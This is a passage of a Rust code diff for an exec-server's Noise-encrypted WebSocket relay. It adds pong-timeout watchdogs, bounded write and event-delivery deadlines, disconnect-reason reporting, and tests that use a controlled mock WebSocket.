pending_outbound.is_some() && !force_incoming && !pong_deadline_expired => { + let seq = match take_next_sequence(&mut next_outbound_seq) { + Ok(seq) => seq, + Err(error) => { + warn!("Noise relay sequence exhausted: {error}"); + break 'relay; + } }; - for plaintext_record in framed.chunks(NOISE_RECORD_PLAINTEXT_LEN) { - let seq = match take_next_sequence(&mut next_outbound_seq) { - Ok(seq) => seq, - Err(error) => { - warn!("Noise relay sequence exhausted: {error}"); - break 'relay; - } + let (ciphertext, next_offset, message_complete) = { + let Some((framed, offset)) = pending_outbound.as_ref() else { + continue; }; - let ciphertext = match transport.encrypt(plaintext_record) { + let next_offset = (*offset + NOISE_RECORD_PLAINTEXT_LEN).min(framed.len()); + let ciphertext = match transport.encrypt(&framed[*offset..next_offset]) { Ok(ciphertext) => ciphertext, Err(error) => { warn!("failed to encrypt JSON-RPC payload for Noise relay: {error}"); break 'relay; } }; - let frame = RelayMessageFrame::data(stream_id.clone(), seq, ciphertext); - if let Err(error) = websocket - .send(Message::Binary(encode_relay_message_frame(&frame).into())) - .await - { - warn!("failed to write Noise relay websocket: {error}"); - break 'relay; - } + (ciphertext, next_offset, next_offset == framed.len()) + }; + let frame = RelayMessageFrame::data(stream_id.clone(), seq, ciphertext); + // A Pong can arrive after the readiness check while this write owns the + // combined sink and stream. A single bounded record can therefore hit the + // deadline and disconnect with that Pong queued. Treat that as write + // backpressure; this loop yields only between records. + if let Err(error) = send_websocket_message( + &mut websocket, + Message::Binary(encode_relay_message_frame(&frame).into()), + pong_watchdog.write_deadline(tokio::time::Instant::now()), + ) + .await + { + warn!("failed to write Noise relay websocket: {error}"); + break 'relay; + } + if message_complete { + pending_outbound = None; + } else if let Some((_framed, offset)) = pending_outbound.as_mut() { + *offset = next_offset; } } + _ = &mut pong_deadline, if pong_watchdog.deadline().is_some() && !force_incoming => { + continue; + } + _ = keepalive.tick(), if pong_watchdog.deadline().is_none() => { + if let Err(error) = send_keepalive_ping( + &mut websocket, + &mut pong_watchdog, + pong_deadline.as_mut(), + ) + .await + { + warn!("failed to write Noise relay keepalive ping: {error}"); + break; + } + frames_drained_after_pong_deadline = 0; + } incoming_message = websocket.next() => { + force_incoming = false; let Some(incoming_message) = incoming_message else { break; }; + // Count each completed read after expiry. If only the deadline arm + // advanced this counter, reads won by a simultaneously ready incoming + // arm would not count toward the 32-frame cap. + if pong_watchdog + .deadline() + .is_some_and(|deadline| tokio::time::Instant::now() >= deadline) + { + frames_drained_after_pong_deadline += 1; + } match incoming_message { Ok(Message::Binary(payload)) => { let frame = match decode_relay_message_frame(payload.as_ref()) { Ok(frame) => frame, Err(error) => { - send_malformed(&incoming_tx, error.to_string()).await; + send_malformed(&incoming_tx, error.to_string()); break; } }; @@ -325,7 +442,7 @@ where let data = match frame.into_data() { Ok(data) => data, Err(error) => { - send_malformed(&incoming_tx, error.to_string()).await; + send_malformed(&incoming_tx, error.to_string()); break; } }; @@ -334,22 +451,26 @@ where &mut transport, &mut inbound_decoder, data, + pong_watchdog.write_deadline(tokio::time::Instant::now()), &incoming_tx, ) .await { - send_malformed(&incoming_tx, error.to_string()).await; + if matches!(error, ExecServerError::Closed) { + break; + } + send_malformed(&incoming_tx, error.to_string()); break; } } Ok(RelayFrameBodyKind::Reset) => { - let _ = incoming_tx - .send(JsonRpcConnectionEvent::Disconnected { + let _ = incoming_tx.try_send( + JsonRpcConnectionEvent::Disconnected { reason: Some( NOISE_RELAY_RESET_DISCONNECT_REASON.to_string(), ), - }) - .await; + }, + ); break; } Ok( @@ -361,20 +482,22 @@ where send_malformed( &incoming_tx, "Noise relay received invalid post-handshake frame".to_string(), - ) - .await; + ); break; } } } Ok(Message::Close(_)) => break, - Ok(Message::Ping(_) | Message::Pong(_) | Message::Frame(_)) => {} + Ok(Message::Pong(_)) => { + pong_watchdog.received_pong(); + frames_drained_after_pong_deadline = 0; + } + Ok(Message::Ping(_) | Message::Frame(_)) => {} Ok(Message::Text(_)) => { send_malformed( &incoming_tx, "Noise relay transport expects binary protobuf frames".to_string(), - ) - .await; + ); break; } Err(error) => { @@ -398,6 +521,46 @@ where } } +async fn send_websocket_message( + websocket: &mut T, + message: Message, + deadline: tokio::time::Instant, +) -> Result<(), String> +where + T: Sink + Unpin, + E: std::fmt::Display, +{ + match tokio::time::timeout_at(deadline, websocket.send(message)).await { + Ok(Ok(())) => Ok(()), + Ok(Err(error)) => Err(error.to_string()), + Err(_) => Err("websocket write timed out".to_string()), + } +} + +async fn send_keepalive_ping( + websocket: &mut T, + pong_watchdog: &mut WebSocketPongWatchdog, + pong_deadline: std::pin::Pin<&mut tokio::time::Sleep>, +) -> Result<(), String> +where + T: Sink + Unpin, + E: std::fmt::Display, +{ + send_websocket_message( + websocket, + Message::Ping(Vec::new().into()), + pong_watchdog.write_deadline(tokio::time::Instant::now()), + ) + .await?; + // Start the response clock after the Ping flushes; waiting for sink capacity + // is governed by the write deadline above. + pong_watchdog.ping_sent(tokio::time::Instant::now()); + if let Some(deadline) = pong_watchdog.deadline() { + pong_deadline.reset(deadline); + } + Ok(()) +} + /// Order and decrypt one relay frame, then emit any complete JSON-RPC messages. /// Relay records and JSON-RPC messages do not share boundaries, so reassembly /// happens after decryption. @@ -406,6 +569,7 @@ async fn receive_data( transport: &mut NoiseTransport, decoder: &mut JsonRpcMessageDecoder, data: RelayData, + delivery_deadline: tokio::time::Instant, incoming_tx: &mpsc::Sender, ) -> Result<(), ExecServerError> { // Ordering must happen before decryption because Noise transport nonces are @@ -419,30 +583,50 @@ async fn receive_data( // The authenticated byte stream can carry partial or multiple JSON-RPC // messages; emit only complete, successfully parsed messages. for message in decoder.push(&plaintext)? { - incoming_tx - .send(JsonRpcConnectionEvent::Message(message)) - .await - .map_err(|_| ExecServerError::Closed)?; + send_incoming_event( + incoming_tx, + JsonRpcConnectionEvent::Message(message), + delivery_deadline, + ) + .await?; } } Ok(()) } -async fn send_malformed(incoming_tx: &mpsc::Sender, reason: String) { - let _ = incoming_tx - .send(JsonRpcConnectionEvent::MalformedMessage { reason }) - .await; +async fn send_incoming_event( + incoming_tx: &mpsc::Sender, + event: JsonRpcConnectionEvent, + deadline: tokio::time::Instant, +) -> Result<(), ExecServerError> { + match tokio::time::timeout_at(deadline, incoming_tx.send(event)).await { + Ok(Ok(())) => Ok(()), + Ok(Err(_)) => Err(ExecServerError::Closed), + Err(_) => { + warn!( + noise_reason = "application_backpressure", + "Noise harness application event delivery timed out" + ); + Err(ExecServerError::Closed) + } + } } -async fn send_disconnected( +fn send_malformed(incoming_tx: &mpsc::Sender, reason: String) { + let _ = incoming_tx.try_send(JsonRpcConnectionEvent::MalformedMessage { reason }); +} + +fn send_disconnected( incoming_tx: &mpsc::Sender, disconnected_tx: &watch::Sender, reason: String, ) { let _ = disconnected_tx.send(true); - let _ = incoming_tx - .send(JsonRpcConnectionEvent::Disconnected { - reason: Some(reason), - }) - .await; + let _ = incoming_tx.try_send(JsonRpcConnectionEvent::Disconnected { + reason: Some(reason), + }); } + +#[cfg(test)] +#[path = "harness_tests.rs"] +mod tests; diff --git a/codex-rs/exec-server/src/noise_relay/harness_tests.rs b/codex-rs/exec-server/src/noise_relay/harness_tests.rs new file mode 100644 index 0000000000..ce26a8ca8c --- /dev/null +++ b/codex-rs/exec-server/src/noise_relay/harness_tests.rs @@ -0,0 +1,442 @@ +use std::pin::Pin; +use std::sync::Arc; +use std::sync::atomic::AtomicUsize; +use std::sync::atomic::Ordering; +use std::task::Context as TaskContext; +use std::task::Poll; +use std::time::Duration; + +use anyhow::Context; +use anyhow::Result; +use codex_exec_server_protocol::JSONRPCMessage; +use codex_exec_server_protocol::JSONRPCRequest; +use codex_exec_server_protocol::RequestId; +use futures::Sink; +use futures::SinkExt; +use futures::StreamExt; +use futures::channel::mpsc as futures_mpsc; +use pretty_assertions::assert_eq; +use tokio::net::TcpListener; +use tokio::sync::mpsc; +use tokio::time::Instant; +use tokio::time::timeout; +use tokio_tungstenite::accept_async; +use tokio_tungstenite::connect_async; +use tokio_tungstenite::tungstenite::Message; + +use super::*; +use crate::connection::JsonRpcConnectionEvent; +use crate::noise_channel::PendingResponderHandshake; + +const ENVIRONMENT_ID: &str = "environment-1"; +const EXECUTOR_REGISTRATION_ID: &str = "registration-1"; + +#[tokio::test] +async fn fragmented_writes_yield_to_keepalive_and_queued_pong() -> Result<()> { + let (connection, mut control, mut outbound_rx) = connected_controlled_harness().await?; + + connection + .outgoing_tx + .send(JSONRPCMessage::Request(JSONRPCRequest { + id: RequestId::Integer(1), + method: "large".to_string(), + params: Some(serde_json::json!({ + "payload": "x".repeat(NOISE_RECORD_PLAINTEXT_LEN * 3), + })), + trace: None, + })) + .await?; + + control.wait_for_blocked_write(/*expected*/ 1).await?; + tokio::time::sleep(WEBSOCKET_KEEPALIVE_INTERVAL + Duration::from_millis(10)).await; + control.grant_writes(/*count*/ 1); + let first_data = read_outbound_data(&mut outbound_rx).await?; + assert_eq!(first_data.seq, 0); + + control.wait_for_blocked_write(/*expected*/ 2).await?; + control.grant_writes(/*count*/ 1); + let Message::Ping(ping_payload) = timeout(Duration::from_secs(1), outbound_rx.next()) + .await? + .context("harness closed before sending keepalive")? + else { + anyhow::bail!("expected keepalive between fragmented writes"); + }; + + control.wait_for_blocked_write(/*expected*/ 3).await?; + control.send_inbound(Message::Pong(ping_payload))?; + tokio::time::sleep(WEBSOCKET_KEEPALIVE_INTERVAL + Duration::from_millis(10)).await; + control.grant_writes(/*count*/ 1); + let second_data = read_outbound_data(&mut outbound_rx).await?; + assert_eq!(second_data.seq, 1); + + control.wait_for_blocked_write(/*expected*/ 4).await?; + control.grant_writes(/*count*/ 1); + let next_message = timeout(Duration::from_secs(1), outbound_rx.next()) + .await? + .context("harness closed after receiving queued Pong")?; + assert!(matches!(next_message, Message::Ping(_))); + + for task in &connection.task_handles { + task.abort(); + } + Ok(()) +} + +#[tokio::test(flavor = "current_thread")] +async fn post_deadline_drain_stops_before_frame_33() -> Result<()> { + let (mut connection, mut control, mut outbound_rx) = connected_controlled_harness().await?; + + control.wait_for_blocked_write(/*expected*/ 1).await?; + control.grant_writes(/*count*/ 1); + let Message::Ping(ping_payload) = timeout(Duration::from_secs(1), outbound_rx.next()) + .await? + .context("harness closed before sending keepalive")? + else { + anyhow::bail!("expected keepalive ping"); + }; + let reads_before_deadline = control.inbound_reads(); + + let unrelated_frame = + encode_relay_message_frame(&RelayMessageFrame::resume("unrelated-stream".to_string())); + for _ in 0..MAX_FRAMES_DRAINED_AFTER_PONG_DEADLINE { + control.send_inbound(Message::Binary(unrelated_frame.clone().into()))?; + } + control.send_inbound(Message::Pong(ping_payload))?; + + // Keep the current-thread runtime from consuming the queued frames until the + // Pong deadline and every frame are ready together. + std::thread::sleep(WEBSOCKET_PONG_TIMEOUT + Duration::from_millis(10)); + + let event = timeout(Duration::from_secs(1), connection.incoming_rx.recv()).await?; + let Some(JsonRpcConnectionEvent::Disconnected { reason }) = event else { + anyhow::bail!("expected Pong timeout, got {event:?}"); + }; + assert_eq!(reason.as_deref(), Some(WEBSOCKET_PONG_TIMEOUT_REASON)); + assert_eq!( + control.inbound_reads() - reads_before_deadline, + MAX_FRAMES_DRAINED_AFTER_PONG_DEADLINE + ); + Ok(()) +} + +#[tokio::test] +async fn pong_keeps_harness_alive_until_peer_stops_responding() -> Result<()> { + let listener = TcpListener::bind("127.0.0.1:0").await?; + let websocket_url = format!("ws://{}", listener.local_addr()?); + let harness_connection = tokio::spawn(connect_async(websocket_url)); + let (socket, _peer_addr) = listener.accept().await?; + let mut executor_websocket = accept_async(socket).await?; + let (harness_websocket, _response) = harness_connection.await??; + + let executor_identity = NoiseChannelIdentity::generate()?; + let mut connection = noise_harness_connection_from_websocket( + harness_websocket, + NoiseHarnessConnectionArgs { + connection_label: "test rendezvous".to_string(), + environment_id: ENVIRONMENT_ID.to_string(), + executor_registration_id: EXECUTOR_REGISTRATION_ID.to_string(), + identity: NoiseChannelIdentity::generate()?, + responder_public_key: executor_identity.public_key(), + harness_key_authorization: "authorization".to_string(), + }, + ); + + let resume_message = timeout(Duration::from_secs(1), executor_websocket.next()) + .await? + .context("harness closed before sending resume")??; + let Message::Binary(resume_payload) = resume_message else { + anyhow::bail!("expected resume frame, got {resume_message:?}"); + }; + let resume = decode_relay_message_frame(resume_payload.as_ref())?; + assert_eq!(resume.validate()?, RelayFrameBodyKind::Resume); + + let handshake_message = timeout(Duration::from_secs(1), executor_websocket.next()) + .await? + .context("harness closed before sending handshake")??; + let Message::Binary(handshake_payload) = handshake_message else { + anyhow::bail!("expected handshake frame, got {handshake_message:?}"); + }; + let handshake = decode_relay_message_frame(handshake_payload.as_ref())?; + assert_eq!(handshake.stream_id, resume.stream_id); + let stream_id = handshake.stream_id.clone(); + let prologue = + noise_channel_prologue(ENVIRONMENT_ID, EXECUTOR_REGISTRATION_ID, stream_id.as_str()); + let pending = PendingResponderHandshake::read_request( + &executor_identity, + &prologue, + &handshake.into_handshake_payload()?, + )?; + let (_transport, response) = pending.complete()?; + let response = RelayMessageFrame::handshake(stream_id, response); + executor_websocket + .send(Message::Binary( + encode_relay_message_frame(&response).into(), + )) + .await?; + + let mut pings = 0; + while pings < 6 { + let message = timeout(Duration::from_secs(1), executor_websocket.next()) + .await? + .context("harness disconnected before six keepalive pings")??; + match message { + Message::Ping(payload) => { + executor_websocket.send(Message::Pong(payload)).await?; + pings += 1; + } + Message::Pong(_) | Message::Frame(_) => {} + message => anyhow::bail!("expected keepalive ping, got {message:?}"), + } + } + + // Keep non-Pong traffic flowing after responses stop. It must not defeat + // the bounded grace for a Pong already queued behind data. + let unrelated_frame = + encode_relay_message_frame(&RelayMessageFrame::resume("unrelated-stream".to_string())); + let traffic_task = tokio::spawn(async move { + loop { + if executor_websocket + .send(Message::Binary(unrelated_frame.clone().into())) + .await + .is_err() + { + break; + } + tokio::time::sleep(Duration::from_millis(5)).await; + } + }); + let event = timeout(Duration::from_secs(1), connection.incoming_rx.recv()).await?; + traffic_task.abort(); + let _ = traffic_task.await; + let Some(JsonRpcConnectionEvent::Disconnected { reason }) = event else { + anyhow::bail!("expected pong timeout, got {event:?}"); + }; + assert_eq!(reason.as_deref(), Some(WEBSOCKET_PONG_TIMEOUT_REASON)); + Ok(()) +} + +#[tokio::test] +async fn application_event_delivery_is_bounded() -> Result<()> { + let (incoming_tx, _incoming_rx) = mpsc::channel(1); + incoming_tx + .send(JsonRpcConnectionEvent::MalformedMessage { + reason: "fill queue".to_string(), + }) + .await?; + + let result = send_incoming_event( + &incoming_tx, + JsonRpcConnectionEvent::MalformedMessage { + reason: "blocked event".to_string(), + }, + Instant::now() + Duration::from_millis(10), + ) + .await; + + assert!(matches!(result, Err(ExecServerError::Closed))); + Ok(()) +} + +async fn read_outbound_data( + outbound_rx: &mut futures_mpsc::UnboundedReceiver, +) -> Result { + let Message::Binary(payload) = timeout(Duration::from_secs(1), outbound_rx.next()) + .await? + .context("harness closed before sending data")? + else { + anyhow::bail!("expected relay data frame"); + }; + let frame = decode_relay_message_frame(payload.as_ref())?; + assert_eq!(frame.validate()?, RelayFrameBodyKind::Data); + frame.into_data().map_err(anyhow::Error::from) +} + +async fn connected_controlled_harness() -> Result<( + JsonRpcConnection, + ControlledWebSocketHandle, + futures_mpsc::UnboundedReceiver, +)> { + let (websocket, control, mut outbound_rx) = ControlledWebSocket::new(/*write_permits*/ 2); + let executor_identity = NoiseChannelIdentity::generate()?; + let connection = noise_harness_connection_from_websocket( + websocket, + NoiseHarnessConnectionArgs { + connection_label: "test rendezvous".to_string(), + environment_id: ENVIRONMENT_ID.to_string(), + executor_registration_id: EXECUTOR_REGISTRATION_ID.to_string(), + identity: NoiseChannelIdentity::generate()?, + responder_public_key: executor_identity.public_key(), + harness_key_authorization: "authorization".to_string(), + }, + ); + + let Message::Binary(resume_payload) = timeout(Duration::from_secs(1), outbound_rx.next()) + .await? + .context("harness closed before sending resume")? + else { + anyhow::bail!("expected resume frame"); + }; + let resume = decode_relay_message_frame(resume_payload.as_ref())?; + let Message::Binary(handshake_payload) = timeout(Duration::from_secs(1), outbound_rx.next()) + .await? + .context("harness closed before sending handshake")? + else { + anyhow::bail!("expected handshake frame"); + }; + let handshake = decode_relay_message_frame(handshake_payload.as_ref())?; + let stream_id = handshake.stream_id.clone(); + assert_eq!(stream_id, resume.stream_id); + let prologue = + noise_channel_prologue(ENVIRONMENT_ID, EXECUTOR_REGISTRATION_ID, stream_id.as_str()); + let pending = PendingResponderHandshake::read_request( + &executor_identity, + &prologue, + &handshake.into_handshake_payload()?, + )?; + let (_transport, response) = pending.complete()?; + control.send_inbound(Message::Binary( + encode_relay_message_frame(&RelayMessageFrame::handshake(stream_id, response)).into(), + ))?; + Ok((connection, control, outbound_rx)) +} + +struct ControlledWebSocket { + inbound_rx: futures_mpsc::UnboundedReceiver>, + outbound_tx: futures_mpsc::UnboundedSender, + write_permit_rx: futures_mpsc::UnboundedReceiver<()>, + blocked_write_tx: futures_mpsc::UnboundedSender, + write_waiting: bool, + blocked_writes: usize, + inbound_reads: Arc, +} + +struct ControlledWebSocketHandle { + inbound_tx: futures_mpsc::UnboundedSender>, + write_permit_tx: futures_mpsc::UnboundedSender<()>, + blocked_write_rx: futures_mpsc::UnboundedReceiver, + inbound_reads: Arc, +} + +impl ControlledWebSocket { + fn new( + write_permits: usize, + ) -> ( + Self, + ControlledWebSocketHandle, + futures_mpsc::UnboundedReceiver, + ) { + let (inbound_tx, inbound_rx) = futures_mpsc::unbounded(); + let (outbound_tx, outbound_rx) = futures_mpsc::unbounded(); + let (write_permit_tx, write_permit_rx) = futures_mpsc::unbounded(); + let (blocked_write_tx, blocked_write_rx) = futures_mpsc::unbounded(); + for _ in 0..write_permits { + write_permit_tx + .unbounded_send(()) + .expect("test write permit receiver should stay open"); + } + let inbound_reads = Arc::new(AtomicUsize::new(0)); + ( + Self { + inbound_rx, + outbound_tx, + write_permit_rx, + blocked_write_tx, + write_waiting: false, + blocked_writes: 0, + inbound_reads: Arc::clone(&inbound_reads), + }, + ControlledWebSocketHandle { + inbound_tx, + write_permit_tx, + blocked_write_rx, + inbound_reads, + }, + outbound_rx, + ) + } +} + +impl ControlledWebSocketHandle { + fn send_inbound(&self, message: Message) -> Result<()> { + self.inbound_tx + .unbounded_send(Ok(message)) + .map_err(anyhow::Error::from) + } + + fn grant_writes(&self, count: usize) { + for _ in 0..count { + self.write_permit_tx + .unbounded_send(()) + .expect("test write permit receiver should stay open"); + } + } + + fn inbound_reads(&self) -> usize { + self.inbound_reads.load(Ordering::Acquire) + } + + async fn wait_for_blocked_write(&mut self, expected: usize) -> Result<()> { + let actual = timeout(Duration::from_secs(1), self.blocked_write_rx.next()) + .await? + .context("websocket closed before blocking the expected write")?; + assert_eq!(actual, expected); + Ok(()) + } +} + +impl Sink for ControlledWebSocket { + type Error = std::convert::Infallible; + + fn poll_ready(self: Pin<&mut Self>, cx: &mut TaskContext<'_>) -> Poll> { + let this = self.get_mut(); + match Pin::new(&mut this.write_permit_rx).poll_next(cx) { + Poll::Ready(Some(())) => { + this.write_waiting = false; + Poll::Ready(Ok(())) + } + Poll::Ready(None) | Poll::Pending => { + if !this.write_waiting { + this.write_waiting = true; + this.blocked_writes += 1; + this.blocked_write_tx + .unbounded_send(this.blocked_writes) + .expect("test blocked-write receiver should stay open"); + } + Poll::Pending + } + } + } + + fn start_send(self: Pin<&mut Self>, item: Message) -> Result<(), Self::Error> { + self.outbound_tx + .unbounded_send(item) + .expect("test outbound receiver should stay open"); + Ok(()) + } + + fn poll_flush( + self: Pin<&mut Self>, + _cx: &mut TaskContext<'_>, + ) -> Poll> { + Poll::Ready(Ok(())) + } + + fn poll_close( + self: Pin<&mut Self>, + _cx: &mut TaskContext<'_>, + ) -> Poll> { + Poll::Ready(Ok(())) + } +} + +impl futures::Stream for ControlledWebSocket { + type Item = Result; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut TaskContext<'_>) -> Poll> { + let result = Pin::new(&mut self.inbound_rx).poll_next(cx); + if matches!(result, Poll::Ready(Some(_))) { + self.inbound_reads.fetch_add(1, Ordering::Release); + } + result + } +} diff --git a/codex-rs/exec-server/src/relay.rs b/codex-rs/exec-server/src/relay.rs index d7e3d9c2a7..b8d477f5db 100644 --- a/codex-rs/exec-server/src/relay.rs +++ b/codex-rs/exec-server/src/relay.rs @@ -41,6 +41,9 @@ use crate::relay_proto::RelayReset; use crate::relay_proto::RelayResume; use crate::relay_proto::relay_message_frame; use crate::server::ConnectionProcessor; +use crate::websocket_pong_watchdog::WEBSOCKET_PONG_TIMEOUT; +use crate::websocket_pong_watchdog::WEBSOCKET_PONG_TIMEOUT_REASON; +use crate::websocket_pong_watchdog::WebSocketPongWatchdog; const RELAY_MESSAGE_FRAME_VERSION: u32 = 1; const MAX_ACTIVE_NOISE_RELAY_STREAMS: usize = 128; @@ -49,6 +52,27 @@ const MAX_HARNESS_KEY_AUTHORIZATION_BYTES: usize = 4096; const MAX_PENDING_HANDSHAKE_VALIDATIONS: usize = 32; const HARNESS_KEY_VALIDATION_TIMEOUT: Duration = Duration::from_secs(10); +#[derive(Debug, Clone, Copy, Eq, PartialEq)] +pub(crate) enum RendezvousDisconnectReason { + PeerClose, + ReadError, + WriteError, + PongTimeout, + LocalShutdown, +} + +impl RendezvousDisconnectReason { + pub(crate) fn as_str(self) -> &'static str { + match self { + Self::PeerClose => "peer_close", + Self::ReadError => "read_error", + Self::WriteError => "write_error", + Self::PongTimeout => WEBSOCKET_PONG_TIMEOUT_REASON, + Self::LocalShutdown => "local_shutdown", + } + } +} + #[derive(Debug, Clone, Copy, Eq, PartialEq)] pub(crate) enum RelayFrameBodyKind { Data, @@ -448,7 +472,8 @@ pub(crate) async fn run_multiplexed_environment( executor_registration_id: String, identity: NoiseChannelIdentity, validator: V, -) where +) -> RendezvousDisconnectReason +where S: AsyncRead + AsyncWrite + Unpin + Send + 'static, V: HarnessKeyValidator + Clone + 'static, { @@ -461,6 +486,7 @@ pub(crate) async fn run_multiplexed_environment( mpsc::channel::>(CHANNEL_CAPACITY); let (closed_stream_tx, mut closed_stream_rx) = mpsc::channel::(MAX_ACTIVE_NOISE_RELAY_STREAMS); + let (pong_tx, mut pong_rx) = mpsc::channel(1); // Use a separate writer so this loop never waits on the channel it drains. let mut physical_writer_task = tokio::spawn(async move { let mut keepalive = tokio::time::interval_at( @@ -468,19 +494,61 @@ pub(crate) async fn run_multiplexed_environment( WEBSOCKET_KEEPALIVE_INTERVAL, ); keepalive.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip); + let mut pong_watchdog = WebSocketPongWatchdog::new(WEBSOCKET_PONG_TIMEOUT); + let pong_deadline = tokio::time::sleep(WEBSOCKET_PONG_TIMEOUT); + tokio::pin!(pong_deadline); loop { let message = tokio::select! { + pong = pong_rx.recv() => { + let Some(()) = pong else { + break RendezvousDisconnectReason::LocalShutdown; + }; + pong_watchdog.received_pong(); + continue; + } + _ = &mut pong_deadline, if pong_watchdog.deadline().is_some() => { + match pong_rx.try_recv() { + Ok(()) => { + pong_watchdog.received_pong(); + continue; + } + Err(tokio::sync::mpsc::error::TryRecvError::Empty) => { + break RendezvousDisconnectReason::PongTimeout; + } + Err(tokio::sync::mpsc::error::TryRecvError::Disconnected) => { + break RendezvousDisconnectReason::LocalShutdown; + } + } + } + _ = keepalive.tick(), if pong_watchdog.deadline().is_none() => { + Message::Ping(Vec::new().into()) + } encoded = physical_outgoing_rx.recv() => { let Some(encoded) = encoded else { - break; + break RendezvousDisconnectReason::LocalShutdown; }; Message::Binary(encoded.into()) } - _ = keepalive.tick() => Message::Ping(Vec::new().into()), }; - if let Err(error) = websocket_sink.send(message).await { - warn!("Noise multiplexed environment websocket write failed: {error}"); - break; + let is_keepalive_ping = matches!(message, Message::Ping(_)); + let write_deadline = pong_watchdog.write_deadline(tokio::time::Instant::now()); + match tokio::time::timeout_at(write_deadline, websocket_sink.send(message)).await { + Ok(Ok(())) => { + if is_keepalive_ping { + pong_watchdog.ping_sent(tokio::time::Instant::now()); + if let Some(deadline) = pong_watchdog.deadline() { + pong_deadline.as_mut().reset(deadline); + } + } + } + Ok(Err(error)) => { + warn!("Noise multiplexed environment websocket write failed: {error}"); + break RendezvousDisconnectReason::WriteError; + } + Err(_) => { + warn!("Noise multiplexed environment websocket write timed out"); + break RendezvousDisconnectReason::WriteError; + } } } }); @@ -489,13 +557,18 @@ pub(crate) async fn run_multiplexed_environment( let mut validation_tasks: JoinSet = JoinSet::new(); let mut failed_handshakes = 0usize; let mut next_validation_id = 0u64; + let mut disconnect_reason = RendezvousDisconnectReason::LocalShutdown; loop { // Registry calls run separately so a slow check does not block the relay. let frame = tokio::select! { writer_result = &mut physical_writer_task => { - if let Err(error) = writer_result { - warn!("Noise multiplexed environment websocket writer failed: {error}"); + match writer_result { + Ok(reason) => disconnect_reason = reason, + Err(error) => { + warn!("Noise multiplexed environment websocket writer failed: {error}"); + disconnect_reason = RendezvousDisconnectReason::LocalShutdown; + } } break; } @@ -621,14 +694,22 @@ pub(crate) async fn run_multiplexed_environment( continue; } }, - Some(Ok(Message::Close(_))) | None => break, - Some(Ok(Message::Ping(_) | Message::Pong(_) | Message::Frame(_))) => continue, + Some(Ok(Message::Close(_))) | None => { + disconnect_reason = RendezvousDisconnectReason::PeerClose; + break; + } + Some(Ok(Message::Pong(_))) => { + let _ = pong_tx.try_send(()); + continue; + } + Some(Ok(Message::Ping(_) | Message::Frame(_))) => continue, Some(Ok(Message::Text(_))) => { warn!("dropping non-binary Noise relay frame from harness"); continue; } Some(Err(error)) => { debug!("Noise multiplexed environment websocket read failed: {error}"); + disconnect_reason = RendezvousDisconnectReason::ReadError; break; } } @@ -802,6 +883,7 @@ pub(crate) async fn run_multiplexed_environment( physical_writer_task.abort(); let _ = physical_writer_task.await; } + disconnect_reason } /// Charge one failed authenticated-channel attempt to this physical relay. diff --git a/codex-rs/exec-server/src/relay_noise_tests.rs b/codex-rs/exec-server/src/relay_noise_tests.rs index 0020efe347..704c48d9a1 100644 --- a/codex-rs/exec-server/src/relay_noise_tests.rs +++ b/codex-rs/exec-server/src/relay_noise_tests.rs @@ -17,6 +17,7 @@ use tokio_tungstenite::tungstenite::Message; use super::HarnessKeyValidator; use super::MAX_FAILED_NOISE_HANDSHAKES; use super::MAX_HARNESS_KEY_AUTHORIZATION_BYTES; +use super::RendezvousDisconnectReason; use super::run_multiplexed_environment; use crate::ExecServerError; use crate::ExecServerRuntimePaths; @@ -33,6 +34,86 @@ use crate::server::ConnectionProcessor; const ENVIRONMENT_ID: &str = "environment-1"; const EXECUTOR_REGISTRATION_ID: &str = "registration-1"; +#[tokio::test] +async fn missing_pong_disconnects_physical_relay() -> Result<()> { + let listener = TcpListener::bind("127.0.0.1:0").await?; + let websocket_url = format!("ws://{}", listener.local_addr()?); + let harness_connection = tokio::spawn(connect_async(websocket_url)); + let (socket, _peer_addr) = listener.accept().await?; + let environment_websocket = accept_async(socket).await?; + let (_harness_websocket, _response) = harness_connection.await??; + + let environment_task = tokio::spawn(run_multiplexed_environment( + environment_websocket, + ConnectionProcessor::new(ExecServerRuntimePaths::new( + std::env::current_exe()?, + /*codex_linux_sandbox_exe*/ None, + )?), + ENVIRONMENT_ID.to_string(), + EXECUTOR_REGISTRATION_ID.to_string(), + NoiseChannelIdentity::generate()?, + BlockingValidator { + calls: Arc::new(AtomicUsize::new(0)), + release: Arc::new(Notify::new()), + }, + )); + + assert_eq!( + timeout(Duration::from_secs(1), environment_task).await??, + RendezvousDisconnectReason::PongTimeout + ); + Ok(()) +} + +#[tokio::test] +async fn pong_keeps_physical_relay_connected() -> Result<()> { + let listener = TcpListener::bind("127.0.0.1:0").await?; + let websocket_url = format!("ws://{}", listener.local_addr()?); + let harness_connection = tokio::spawn(connect_async(websocket_url)); + let (socket, _peer_addr) = listener.accept().await?; + let environment_websocket = accept_async(socket).await?; + let (mut harness_websocket, _response) = harness_connection.await??; + + let environment_task = tokio::spawn(run_multiplexed_environment( + environment_websocket, + ConnectionProcessor::new(ExecServerRuntimePaths::new( + std::env::current_exe()?, + /*codex_linux_sandbox_exe*/ None, + )?), + ENVIRONMENT_ID.to_string(), + EXECUTOR_REGISTRATION_ID.to_string(), + NoiseChannelIdentity::generate()?, + BlockingValidator { + calls: Arc::new(AtomicUsize::new(0)), + release: Arc::new(Notify::new()), + }, + )); + + timeout(Duration::from_secs(1), async { + let mut pings = 0; + while pings < 6 { + match harness_websocket.next().await { + Some(Ok(Message::Ping(payload))) => { + harness_websocket.send(Message::Pong(payload)).await?; + pings += 1; + } + Some(Ok(Message::Pong(_) | Message::Frame(_))) => {} + Some(Ok(message)) => anyhow::bail!("expected keepalive ping, got {message:?}"), + Some(Err(error)) => return Err(error.into()), + None => anyhow::bail!("environment disconnected before six keepalive pings"), + } + } + Ok::<_, anyhow::Error>(()) + }) + .await??; + harness_websocket.close(None).await?; + assert_eq!( + timeout(Duration::from_secs(1), environment_task).await??, + RendezvousDisconnectReason::PeerClose + ); + Ok(()) +} + #[derive(Clone)] struct BlockingValidator { calls: Arc, diff --git a/codex-rs/exec-server/src/remote.rs b/codex-rs/exec-server/src/remote.rs index f5e233ce9d..8870e0efe9 100644 --- a/codex-rs/exec-server/src/remote.rs +++ b/codex-rs/exec-server/src/remote.rs @@ -492,7 +492,7 @@ pub async fn run_remote_environment( noise_outcome = "ok", "Noise executor connected to rendezvous" ); - run_multiplexed_environment( + let disconnect_reason = run_multiplexed_environment( websocket, processor.clone(), response.environment_id.clone(), @@ -505,7 +505,15 @@ pub async fn run_remote_environment( }, ) .await; - config.telemetry.remote_reconnect("disconnected"); + info!( + noise_event = "rendezvous_connection", 